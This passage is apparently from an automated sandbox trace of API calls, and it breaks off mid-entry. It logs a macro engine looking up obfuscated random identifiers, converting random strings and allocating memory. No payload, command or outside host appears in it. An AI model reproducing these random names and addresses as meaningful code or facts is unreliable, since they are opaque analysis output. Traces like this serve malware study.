pBstrLibName=0x305060) returned 0x0 [0019.313] IUnknown:Release (This=0x7346470) returned 0xb [0019.313] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.313] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_oimznbOZh", lHashVal=0x10c712, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.313] IUnknown:Release (This=0x7345930) returned 0x7 [0019.313] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.313] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_oimznbOZh", lHashVal=0x10c712, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.313] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.313] IUnknown:AddRef (This=0x7919520) returned 0x13 [0019.313] IUnknown:Release (This=0x7919520) returned 0x12 [0019.314] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6bbee, cbMultiByte=10, lpWideCharStr=0xd6d27b6, cchWideChar=22 | out: lpWideCharStr="scYOnuhaEH") returned 10 [0019.314] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6bc02, cbMultiByte=10, lpWideCharStr=0xd6d2960, cchWideChar=22 | out: lpWideCharStr="CtwoTDjUHv") returned 10 [0019.314] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6bc16, cbMultiByte=10, lpWideCharStr=0xd6d2b0a, cchWideChar=22 | out: lpWideCharStr="BEGnSafnSz") returned 10 [0019.314] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6bc2a, cbMultiByte=10, lpWideCharStr=0xd6d2cb4, cchWideChar=22 | out: lpWideCharStr="iiaNnzLrCY") returned 10 [0019.314] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6bc3e, cbMultiByte=10, lpWideCharStr=0xd6d2e5e, cchWideChar=22 | out: lpWideCharStr="uAinWIWEXU") returned 10 [0019.314] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6bc52, cbMultiByte=10, lpWideCharStr=0xd6d3008, cchWideChar=22 | out: lpWideCharStr="BQSasoVlvN") returned 10 [0019.314] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6bc66, cbMultiByte=10, lpWideCharStr=0xd6d31b2, cchWideChar=22 | out: lpWideCharStr="OtHHZXSlBV") returned 10 [0019.314] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd6e0000 [0019.316] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DQMlJcCsdSS") returned 0x10ce57 [0019.316] strcpy_s (in: _Dst=0x305060, _DstSize=0xc, _Src="DQMlJcCsdSS" | out: _Dst="DQMlJcCsdSS") returned 0x0 [0019.316] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=12, lpWideCharStr=0x304eb0, cchWideChar=12 | out: lpWideCharStr="DQMlJcCsdSS") returned 12 [0019.316] IUnknown:AddRef (This=0x7919520) returned 0x13 [0019.316] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="DQMlJcCsdSS", lHashVal=0x10ce57, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.316] IUnknown:Release (This=0x7919520) returned 0x12 [0019.316] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.316] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="DQMlJcCsdSS", lHashVal=0x10ce57, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.316] IUnknown:Release (This=0x7346470) returned 0xb [0019.316] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.316] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="DQMlJcCsdSS", lHashVal=0x10ce57, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.316] IUnknown:Release (This=0x7345930) returned 0x7 [0019.316] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.316] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="DQMlJcCsdSS", lHashVal=0x10ce57, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.316] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.316] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x13) returned 0x79720e0 [0019.316] strcpy_s (in: _Dst=0x305210, _DstSize=0x13, _Src="_B_var_DQMlJcCsdSS" | out: _Dst="_B_var_DQMlJcCsdSS") returned 0x0 [0019.316] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=19, lpWideCharStr=0x305060, cchWideChar=19 | out: lpWideCharStr="_B_var_DQMlJcCsdSS") returned 19 [0019.316] IUnknown:AddRef (This=0x7919520) returned 0x13 [0019.316] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_DQMlJcCsdSS", lHashVal=0x10bfb9, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.316] IUnknown:Release (This=0x7919520) returned 0x12 [0019.316] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.316] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_DQMlJcCsdSS", lHashVal=0x10bfb9, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.316] IUnknown:Release (This=0x7346470) returned 0xb [0019.316] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.316] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_DQMlJcCsdSS", lHashVal=0x10bfb9, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.316] IUnknown:Release (This=0x7345930) returned 0x7 [0019.316] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.316] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_DQMlJcCsdSS", lHashVal=0x10bfb9, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.316] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.316] IUnknown:AddRef (This=0x7919520) returned 0x13 [0019.316] IUnknown:Release (This=0x7919520) returned 0x12 [0019.316] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LGZOvzEdA") returned 0x1047c0 [0019.316] strcpy_s (in: _Dst=0x305060, _DstSize=0xa, _Src="LGZOvzEdA" | out: _Dst="LGZOvzEdA") returned 0x0 [0019.316] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=10, lpWideCharStr=0x304eb0, cchWideChar=10 | out: lpWideCharStr="LGZOvzEdA") returned 10 [0019.316] IUnknown:AddRef (This=0x7919520) returned 0x13 [0019.316] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="LGZOvzEdA", lHashVal=0x1047c0, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.316] IUnknown:Release (This=0x7919520) returned 0x12 [0019.316] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.317] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="LGZOvzEdA", lHashVal=0x1047c0, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.317] IUnknown:Release (This=0x7346470) returned 0xb [0019.317] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.317] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="LGZOvzEdA", lHashVal=0x1047c0, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.317] IUnknown:Release (This=0x7345930) returned 0x7 [0019.317] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.317] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="LGZOvzEdA", lHashVal=0x1047c0, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.317] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.317] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x11) returned 0x79720e0 [0019.317] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_LGZOvzEdA", lHashVal=0x104184, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.317] IUnknown:Release (This=0x7919520) returned 0x12 [0019.317] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.317] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_LGZOvzEdA", lHashVal=0x104184, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.317] IUnknown:Release (This=0x7346470) returned 0xb [0019.317] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.317] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_LGZOvzEdA", lHashVal=0x104184, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.317] IUnknown:Release (This=0x7345930) returned 0x7 [0019.317] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.317] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_LGZOvzEdA", lHashVal=0x104184, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.317] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.317] IUnknown:AddRef (This=0x7919520) returned 0x13 [0019.317] IUnknown:Release (This=0x7919520) returned 0x12 [0019.317] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6bcde, cbMultiByte=10, lpWideCharStr=0xd6e27e6, cchWideChar=22 | out: lpWideCharStr="PEqdQDWnYl") returned 10 [0019.317] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6bcf2, cbMultiByte=10, lpWideCharStr=0xd6e2990, cchWideChar=22 | out: lpWideCharStr="psaVjraNjL") returned 10 [0019.317] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6bd06, cbMultiByte=10, lpWideCharStr=0xd6e2b3a, cchWideChar=22 | out: lpWideCharStr="ZwztWkdlih") returned 10 [0019.317] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6bd1a, cbMultiByte=10, lpWideCharStr=0xd6e2ce4, cchWideChar=22 | out: lpWideCharStr="TMRmbHpFUs") returned 10 [0019.318] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6bd2e, cbMultiByte=10, lpWideCharStr=0xd6e2e8e, cchWideChar=22 | out: lpWideCharStr="noLaYcrBMT") returned 10 [0019.318] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6bd42, cbMultiByte=10, lpWideCharStr=0xd6e3038, cchWideChar=22 | out: lpWideCharStr="uZiqhTEwHf") returned 10 [0019.318] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6bd56, cbMultiByte=10, lpWideCharStr=0xd6e31e2, cchWideChar=22 | out: lpWideCharStr="ZkFqScanuY") returned 10 [0019.318] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd6f0000 [0019.319] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="lkTlTGc") returned 0x10d56a [0019.319] strcpy_s (in: _Dst=0x305060, _DstSize=0x8, _Src="lkTlTGc" | out: _Dst="lkTlTGc") returned 0x0 [0019.319] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=8, lpWideCharStr=0x304eb0, cchWideChar=8 | out: lpWideCharStr="lkTlTGc") returned 8 [0019.319] IUnknown:AddRef (This=0x7919520) returned 0x13 [0019.319] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="lkTlTGc", lHashVal=0x10d56a, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.319] IUnknown:Release (This=0x7919520) returned 0x12 [0019.319] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.319] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="lkTlTGc", lHashVal=0x10d56a, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.319] IUnknown:Release (This=0x7346470) returned 0xb [0019.319] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.319] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="lkTlTGc", lHashVal=0x10d56a, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.319] IUnknown:Release (This=0x7345930) returned 0x7 [0019.319] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.319] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="lkTlTGc", lHashVal=0x10d56a, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.319] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.319] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xf) returned 0x79720e0 [0019.319] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_lkTlTGc", lHashVal=0x10d8ee, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.319] IUnknown:Release (This=0x7919520) returned 0x12 [0019.319] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.319] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_lkTlTGc", lHashVal=0x10d8ee, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.319] IUnknown:Release (This=0x7346470) returned 0xb [0019.319] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.320] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_lkTlTGc", lHashVal=0x10d8ee, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.320] IUnknown:Release (This=0x7345930) returned 0x7 [0019.320] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.320] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_lkTlTGc", lHashVal=0x10d8ee, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.320] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.320] IUnknown:AddRef (This=0x7919520) returned 0x13 [0019.320] IUnknown:Release (This=0x7919520) returned 0x12 [0019.320] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6bd8e, cbMultiByte=10, lpWideCharStr=0xd6f1ab6, cchWideChar=22 | out: lpWideCharStr="EbQwvRMAVw") returned 10 [0019.320] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6bda2, cbMultiByte=10, lpWideCharStr=0xd6f1c60, cchWideChar=22 | out: lpWideCharStr="cavpJAsbNw") returned 10 [0019.320] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6bdb6, cbMultiByte=10, lpWideCharStr=0xd6f1e0a, cchWideChar=22 | out: lpWideCharStr="qkDCdJwjZq") returned 10 [0019.320] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6bdca, cbMultiByte=10, lpWideCharStr=0xd6f1fb4, cchWideChar=22 | out: lpWideCharStr="TBTmJndJLI") returned 10 [0019.321] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd700000 [0019.322] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="WlImR") returned 0x10b945 [0019.322] strcpy_s (in: _Dst=0x305060, _DstSize=0x6, _Src="WlImR" | out: _Dst="WlImR") returned 0x0 [0019.322] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=6, lpWideCharStr=0x304eb0, cchWideChar=6 | out: lpWideCharStr="WlImR") returned 6 [0019.322] IUnknown:AddRef (This=0x7919520) returned 0x13 [0019.322] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="WlImR", lHashVal=0x10b945, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.322] IUnknown:Release (This=0x7919520) returned 0x12 [0019.322] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.322] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="WlImR", lHashVal=0x10b945, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.322] IUnknown:Release (This=0x7346470) returned 0xb [0019.322] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.322] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="WlImR", lHashVal=0x10b945, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.322] IUnknown:Release (This=0x7345930) returned 0x7 [0019.322] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.322] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="WlImR", lHashVal=0x10b945, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.322] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.322] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xd) returned 0x79720e0 [0019.322] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_WlImR", lHashVal=0x107d32, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.322] IUnknown:Release (This=0x7919520) returned 0x12 [0019.322] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.322] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_WlImR", lHashVal=0x107d32, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.322] IUnknown:Release (This=0x7346470) returned 0xb [0019.322] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.322] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_WlImR", lHashVal=0x107d32, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.322] IUnknown:Release (This=0x7345930) returned 0x7 [0019.322] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.322] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_WlImR", lHashVal=0x107d32, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.322] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.322] IUnknown:AddRef (This=0x7919520) returned 0x13 [0019.322] IUnknown:Release (This=0x7919520) returned 0x12 [0019.323] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ojuakcXIB") returned 0x10c2ce [0019.323] strcpy_s (in: _Dst=0x305060, _DstSize=0xa, _Src="ojuakcXIB" | out: _Dst="ojuakcXIB") returned 0x0 [0019.323] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=10, lpWideCharStr=0x304eb0, cchWideChar=10 | out: lpWideCharStr="ojuakcXIB") returned 10 [0019.323] IUnknown:AddRef (This=0x7919520) returned 0x13 [0019.323] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="ojuakcXIB", lHashVal=0x10c2ce, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.323] IUnknown:Release (This=0x7919520) returned 0x12 [0019.323] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.323] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="ojuakcXIB", lHashVal=0x10c2ce, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.323] IUnknown:Release (This=0x7346470) returned 0xb [0019.323] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.323] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="ojuakcXIB", lHashVal=0x10c2ce, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.323] IUnknown:Release (This=0x7345930) returned 0x7 [0019.323] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.324] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="ojuakcXIB", lHashVal=0x10c2ce, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.324] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.324] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x11) returned 0x79720e0 [0019.324] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_ojuakcXIB", lHashVal=0x10cc13, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.324] IUnknown:Release (This=0x7919520) returned 0x12 [0019.324] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.324] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_ojuakcXIB", lHashVal=0x10cc13, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.324] IUnknown:Release (This=0x7346470) returned 0xb [0019.324] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.324] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_ojuakcXIB", lHashVal=0x10cc13, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.324] IUnknown:Release (This=0x7345930) returned 0x7 [0019.324] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.324] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_ojuakcXIB", lHashVal=0x10cc13, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.324] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.324] IUnknown:AddRef (This=0x7919520) returned 0x13 [0019.324] IUnknown:Release (This=0x7919520) returned 0x12 [0019.324] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd710000 [0019.325] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="QrXDmrB") returned 0x10a1a7 [0019.325] strcpy_s (in: _Dst=0x305060, _DstSize=0x8, _Src="QrXDmrB" | out: _Dst="QrXDmrB") returned 0x0 [0019.325] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=8, lpWideCharStr=0x304eb0, cchWideChar=8 | out: lpWideCharStr="QrXDmrB") returned 8 [0019.325] IUnknown:AddRef (This=0x7919520) returned 0x13 [0019.325] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="QrXDmrB", lHashVal=0x10a1a7, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.325] IUnknown:Release (This=0x7919520) returned 0x12 [0019.325] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.325] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="QrXDmrB", lHashVal=0x10a1a7, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.325] IUnknown:Release (This=0x7346470) returned 0xb [0019.325] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.325] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="QrXDmrB", lHashVal=0x10a1a7, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.325] IUnknown:Release (This=0x7345930) returned 0x7 [0019.325] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.325] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="QrXDmrB", lHashVal=0x10a1a7, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.325] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.325] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xf) returned 0x79720e0 [0019.325] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_QrXDmrB", lHashVal=0x10a52b, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.325] IUnknown:Release (This=0x7919520) returned 0x12 [0019.325] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.325] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_QrXDmrB", lHashVal=0x10a52b, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.325] IUnknown:Release (This=0x7346470) returned 0xb [0019.325] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.325] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_QrXDmrB", lHashVal=0x10a52b, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.325] IUnknown:Release (This=0x7345930) returned 0x7 [0019.325] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.325] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_QrXDmrB", lHashVal=0x10a52b, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.325] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.325] IUnknown:AddRef (This=0x7919520) returned 0x13 [0019.325] IUnknown:Release (This=0x7919520) returned 0x12 [0019.326] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="EvsDXJTPT") returned 0x1095f7 [0019.326] strcpy_s (in: _Dst=0x305060, _DstSize=0xa, _Src="EvsDXJTPT" | out: _Dst="EvsDXJTPT") returned 0x0 [0019.327] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=10, lpWideCharStr=0x304eb0, cchWideChar=10 | out: lpWideCharStr="EvsDXJTPT") returned 10 [0019.327] IUnknown:AddRef (This=0x7919520) returned 0x13 [0019.327] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="EvsDXJTPT", lHashVal=0x1095f7, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.327] IUnknown:Release (This=0x7919520) returned 0x12 [0019.327] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.327] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="EvsDXJTPT", lHashVal=0x1095f7, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.327] IUnknown:Release (This=0x7346470) returned 0xb [0019.327] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.327] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="EvsDXJTPT", lHashVal=0x1095f7, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.327] IUnknown:Release (This=0x7345930) returned 0x7 [0019.327] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.327] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="EvsDXJTPT", lHashVal=0x1095f7, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.327] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.327] IMalloc:Alloc (This=0x7fefe9e5380, 